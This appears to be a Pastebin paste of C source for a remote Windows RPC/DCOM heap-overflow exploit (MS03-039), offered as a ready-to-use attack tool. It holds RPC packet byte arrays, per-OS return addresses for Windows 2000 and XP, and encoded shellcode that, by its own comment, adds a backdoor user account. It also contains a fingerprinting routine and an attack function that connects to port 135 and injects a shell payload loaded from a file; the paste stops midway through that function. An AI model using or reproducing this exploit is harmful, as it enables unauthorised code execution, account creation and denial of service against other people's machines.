API tools faq
paste
Guest User

Untitled

a guest
May 2nd, 2010
263
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.27 KB | None | 0 0
raw download clone embed print report
  1. ===========================================================
  2. MS Windows (RPC2) Universal Exploit & DoS (RPC3) (MS03-039)
  3. ===========================================================
  4.  
  5. /* Windows RPC2 Universal Exploit (MS03-039) & Remote DoS (RPC3) */
  6. /* Must be used with the associated shell */
  7. /* */
  8. /* This exploit works against unpatched systems (MS03-039) */
  9. /* And cause a Denial of Service on patched systems (rpc3) */
  10.  
  11.  
  12. #include <stdio.h>
  13. #include <winsock2.h>
  14. #include <windows.h>
  15. #include <process.h>
  16. #include <string.h>
  17. #include <winbase.h>
  18.  
  19. FILE *fp1;
  20. unsigned char bindstr[]={
  21. 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
  22. 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
  23. 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
  24. 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
  25. 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
  26.  
  27. unsigned char request1[]={
  28. 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
  29. ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
  30. ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
  31. ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
  32. ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
  33. ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
  34. ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
  35. ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
  36. ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
  37. ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  38. ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  39. ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
  40. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
  41. ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
  42. ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  43. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
  44. ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
  45. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
  46. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
  47. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
  48. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
  49. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
  50. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
  51. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
  52. ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
  53. ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
  54. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
  55. ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  56. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  57. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  58. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  59. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
  60. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
  61. ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
  62. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
  63. ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
  64. ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
  65. ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
  66. ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  67. ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
  68. ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
  69. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
  70. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
  71. ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
  72. ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
  73. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  74. ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
  75. ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
  76. ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  77. ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
  78. ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
  79. ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  80. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
  81. ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
  82. ,0x00,0x00,0x00,0x00,0x00,0x00};
  83.  
  84. unsigned char request2[]={
  85. 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
  86. ,0x00,0x00,0x5C,0x00,0x5C,0x00};
  87.  
  88. unsigned char request3[]={
  89. 0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
  90. 0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
  91. ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  92. ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  93. ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
  94.  
  95.  
  96. unsigned char request4[]={
  97. 0x01,0x10
  98. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
  99. ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
  100. ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  101. };
  102. void XOR(unsigned char *buf,int offset,int lenght,unsigned char mask)
  103. {
  104. for(int i=offset;i<(offset+lenght);i++)
  105. buf[i]=buf[i]^mask;
  106. }
  107. DWORD GETSTRCS(char *buf)
  108. {
  109. DWORD cs=0;
  110. bool cld=false;
  111. for(unsigned int i=0;i<strlen(buf);i++)
  112. {
  113. for(int z=0;z<13;z++)
  114. {
  115. if(cs&1) cld=true;
  116. cs=cs>>1;
  117. if(cld) cs=cs|0x80000000;
  118. cld=false;
  119. }
  120. cs+=buf[i];
  121. }
  122. return cs;
  123. }
  124.  
  125. struct {
  126. DWORD seh;
  127. DWORD jmp;
  128. DWORD heap;
  129. char target[200];
  130. } target_os[]=
  131. {
  132. {
  133. 0x005Bfd2c,
  134. 0x00081eeb,
  135. 0x00180000,
  136. "WinXP"
  137. },
  138. {
  139. 0x0095fd3c,
  140. 0x00081eeb,
  141. 0x00170000,
  142. "Win2K"
  143. }
  144. },v;
  145. unsigned char rawData1[]=
  146. "\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
  147. "\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"
  148.  
  149. "\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
  150. "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
  151. "\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
  152. "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"
  153.  
  154. //SHELLCODE From SAM ,THANKs !
  155. //Add user SST,password is 557,
  156. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
  157. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  158.  
  159. "\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
  160. "\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
  161. "\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
  162. "\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
  163. "\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
  164. "\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
  165. "\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
  166. "\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
  167. "\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
  168. "\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
  169. "\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
  170. "\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
  171. "\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
  172. "\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
  173. "\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
  174. "\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
  175. "\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
  176. "\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
  177. "\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
  178. "\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
  179. "\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"
  180.  
  181. "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
  182. "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
  183. "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
  184. "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
  185. "\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
  186. "\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
  187. "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //
  188. "\x90\x90\x90\x90\x90\x90\x90\x90"
  189. "\x77\xe0\x43\x00\x00\x10\x5c\x00"
  190. "\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26
  191. "\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os
  192.  
  193.  
  194. //FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic
  195. //"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
  196. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
  197. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  198. "\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
  199. "\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
  200. "\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
  201. "\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
  202. "\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
  203. "\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
  204. "\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
  205. "\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
  206. "\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
  207. "\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
  208. "\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
  209. "\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
  210. "\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
  211. "\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
  212. "\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
  213. "\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
  214. "\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
  215. "\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
  216. "\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
  217. "\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
  218. "\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
  219. "\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
  220. "\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
  221. "\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
  222. "\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
  223. "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"
  224.  
  225. "\x04\x04\x00\x70\x00\x04\x40"
  226. "\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"
  227.  
  228. "\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";
  229.  
  230.  
  231. int version(char ip[16], int sock)
  232. {
  233. //un poco de ettercap...
  234.  
  235.  
  236. unsigned char peer0_0[] = {
  237. 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00,
  238. 0xcc, 0x00, 0x00, 0x00, 0x84, 0x67, 0xbe, 0x18,
  239. 0x31, 0x14, 0x5c, 0x16, 0x00, 0x00, 0x00, 0x00,
  240. 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00,
  241. 0xb8, 0x4a, 0x9f, 0x4d, 0x1c, 0x7d, 0xcf, 0x11,
  242. 0x86, 0x1e, 0x00, 0x20, 0xaf, 0x6e, 0x7c, 0x57,
  243. 0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
  244. 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
  245. 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
  246. 0x02, 0x00, 0x01, 0x00, 0xa0, 0x01, 0x00, 0x00,
  247. 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
  248. 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00,
  249. 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
  250. 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
  251. 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x01, 0x00,
  252. 0x0a, 0x42, 0x24, 0x0a, 0x00, 0x17, 0x21, 0x41,
  253. 0x2e, 0x48, 0x01, 0x1d, 0x13, 0x0b, 0x04, 0x4d,
  254. 0x00, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a,
  255. 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00,
  256. 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00,
  257. 0x04, 0x00, 0x01, 0x00, 0xb0, 0x01, 0x52, 0x97,
  258. 0xca, 0x59, 0xcf, 0x11, 0xa8, 0xd5, 0x00, 0xa0,
  259. 0xc9, 0x0d, 0x80, 0x51, 0x00, 0x00, 0x00, 0x00,
  260. 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11,
  261. 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60,
  262. 0x02, 0x00, 0x00, 0x00 };
  263.  
  264.  
  265. unsigned char peer0_1[] = {
  266. 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00,
  267. 0xaa, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
  268. 0x80, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  269. 0x05, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
  270. 0x00, 0x00, 0x00, 0x00, 0x28, 0x63, 0x29, 0x20,
  271. 0x75, 0x65, 0x72, 0x84, 0x20, 0x73, 0x73, 0x53,
  272. 0x20, 0x82, 0x80, 0x67, 0x00, 0x00, 0x00, 0x00,
  273. 0x80, 0x1d, 0x94, 0x5e, 0x96, 0xbf, 0xcd, 0x11,
  274. 0xb5, 0x79, 0x08, 0x00, 0x2b, 0x30, 0xbf, 0xeb,
  275. 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
  276. 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
  277. 0x5c, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x00, 0x00,
  278. 0x41, 0x00, 0x41, 0x00, 0x5c, 0x00, 0x43, 0x00,
  279. 0x24, 0x00, 0x5c, 0x00, 0x41, 0x00, 0x2e, 0x00,
  280. 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x00, 0x00,
  281. 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
  282. 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00,
  283. 0x58, 0x73, 0x0b, 0x00, 0x01, 0x00, 0x00, 0x00,
  284. 0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  285. 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,
  286. 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  287. 0x07, 0x00 };
  288.  
  289. /*
  290.  
  291. unsigned char win2kvuln[] = {
  292. 0x04, 0x00, 0x00, 0x00,
  293. 0x00, 0x00, 0x00, 0x00,
  294. 0x04, 0x5d, 0x88, 0x8a,
  295. 0xeb, 0x1c, 0xc9, 0x11,
  296. 0x9f, 0xe8, 0x08, 0x00,
  297. 0x2b, 0x10, 0x48, 0x60,
  298. 0x02, 0x00, 0x00, 0x00,
  299. 0x00, 0x00, 0x00, 0x00,
  300. 0x04, 0x5d, 0x88, 0x8a,
  301. 0xeb, 0x1c, 0xc9, 0x11,
  302. 0x9f, 0xe8, 0x08, 0x00,
  303. 0x2b, 0x10, 0x48, 0x60,
  304. 0x02, 0x00, 0x00, 0x00};
  305. */
  306. fd_set fds2;
  307. unsigned char buf[1024];
  308.  
  309. int l;
  310. struct timeval tv2;
  311. FD_ZERO(&fds2);
  312. FD_SET(sock, &fds2);
  313. tv2.tv_sec = 6;
  314. tv2.tv_usec = 0;
  315.  
  316. memset(buf,'\0',sizeof(buf));
  317. send(sock,(char *)peer0_0,sizeof(peer0_0),0);
  318. if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
  319. {
  320. l=recv (sock, (char *)buf, sizeof (buf),0);
  321. // for(i=0;i<52;i++)
  322. // {
  323. // if (i==28) i=i+4;
  324. // if (buf[i+32]!=win2kvuln)
  325. // {
  326. send(sock,(const char *)peer0_1,sizeof(peer0_1),0);
  327. if(select(sock +1, &fds2, NULL, NULL, &tv2) > 0)
  328. {
  329. memset(buf,'\0',sizeof(buf));
  330. l=recv (sock, (char *)buf, sizeof (buf),0);
  331. if (l==32)
  332. {
  333. closesocket(sock);
  334. return(1);//winxp
  335. }
  336. else
  337. {
  338. #ifdef WIN32
  339. closesocket(sock);
  340. #else
  341. close(sock);
  342. #endif
  343. return(0);//win2kby default. Nt4 not added..
  344. }
  345. }
  346. else return(-1);
  347. // }
  348.  
  349.  
  350. //}
  351. // closesocket(sock);
  352. // return(0);//win2k
  353. }
  354. closesocket(sock);
  355. return(-1); //Unknown
  356. }
  357. /********************************************************************************/
  358. int attack(char *ip1,bool atack)
  359. {
  360. unsigned char rawData[1036];
  361. memcpy(rawData,rawData1,1036);
  362. unsigned char shellcode[50000];
  363. char ip[200];
  364. strcpy(ip,ip1);
  365. WSADATA WSAData;
  366. SOCKET sock;
  367. int len,len1;
  368. SOCKADDR_IN addr_in;
  369. short port=135;
  370. unsigned char buf1[50000];
  371. unsigned char buf2[50000];
  372.  
  373. printf("%s\n",ip);
  374. //printf("RPC DCOM overflow Vulnerability discoveried by NSFOCUS\n");
  375. //printf("Code by FlashSky,Flashsky xfocus org\n");
  376. //printf("Welcome to our Site: http://www.xfocus.org\n");
  377. //printf("Welcome to our Site: http://www.venustech.com.cn\n");
  378. /* if(argc!=3)
  379. {
  380. printf("%s targetIP targetOS\ntargets:\n",argv[0]);
  381. for(int i=0;i<sizeof(target_os)/sizeof(v);i++)
  382. printf("%d - %s\n",i,target_os.target);
  383. printf("\n%x\n",GETSTRCS(argv[1]));
  384. return;
  385. }
  386. */
  387. /* if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
  388. {
  389. printf("WSAStartup error.Error:%d\n",WSAGetLastError());
  390. return;
  391. }
  392. */
  393. addr_in.sin_family=AF_INET;
  394. addr_in.sin_port=htons(port);
  395. addr_in.sin_addr.S_un.S_addr=inet_addr(ip);
  396.  
  397. if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  398. {
  399. printf("Socket failed.Error:%d\n",WSAGetLastError());
  400. return 0;
  401. }
  402. len1=sizeof(request1);
  403.  
  404. len=sizeof(rawData);
  405.  
  406. if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  407. {
  408. printf("%s - connect failed\n",ip);
  409. return 0;
  410. }
  411.  
  412. int vers=!version(ip,sock);
  413.  
  414. // printf("%d\n",vers);
  415. // return;
  416. // int vers=1;
  417.  
  418. FILE *fp;
  419.  
  420. //?? ?? ? ???
  421. // fp=fopen("shellcode","rb");
  422. // fread(rawData,1,1036,fp);
  423. // fclose(fp);
  424. //???? ??? ???? ?? ??????????? ?????? ?????!
  425.  
  426. fp=fopen("bshell2","rb");
  427. int sz=fread(shellcode,1,1024,fp);
  428. fclose(fp);
  429. // printf("%d\n",sz);
  430. for(int i=0;i<sz;i++)
  431. rawData[i+0x71]=shellcode[i];
  432. // fp=fopen("badfile.exe","rb");
  433. // unsigned int sz1=fread(shellcode,1,50000,fp);
  434. // fclose(fp);
  435. // for(i=0;i<sz1;i++)
  436. // rawData[i+0x240]=shellcode;
  437.  
  438. // fp=fopen("pac","wb");
  439. // fwrite(rawData,1,1036,fp);
  440. // fclose(fp);
  441.  
  442. // return;
  443.  
  444.  
  445. //??? ? ? ? ????? ? ??? ??? ???????? HEAP'a
  446. // DWORD heap=0x00180000;
  447. // int k=vers;
  448. // vers=1;
  449. // *(DWORD *)(rawData+0xae)=target_os[vers].heap;
  450. *(DWORD *)(rawData+0x71+0x1e)=target_os[vers].heap;
  451. //?????? ??? ?????? ? ? ???, ??? ?? ??? ??????? ??? ?
  452. XOR(rawData,0x71,sz,0x99);
  453. // XOR(rawData,0x240,sz1,0x99);
